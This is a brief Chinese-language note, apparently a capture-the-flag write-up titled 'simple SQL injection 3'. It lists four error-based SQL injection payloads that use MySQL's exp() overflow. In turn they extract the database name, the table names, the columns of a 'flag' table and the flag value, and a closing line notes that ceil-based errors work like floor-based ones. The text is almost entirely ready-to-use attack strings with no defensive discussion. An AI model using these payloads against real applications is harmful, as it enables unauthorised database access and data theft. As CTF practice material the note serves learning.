简单的sql注入之3

exp报错

'or exp(~(select * from (select database())x)) or'


 'or exp(~(select * from (select group_concat(table_name)from information_schema.tables where table_schema=database())x))or'


 'or exp(~(select * from (select group_concat(column_name)from information_schema.columns where table_name='flag')x))or'

 'or exp(~(select * from (select flag from flag)x))or'

ceil报错类似foolr报错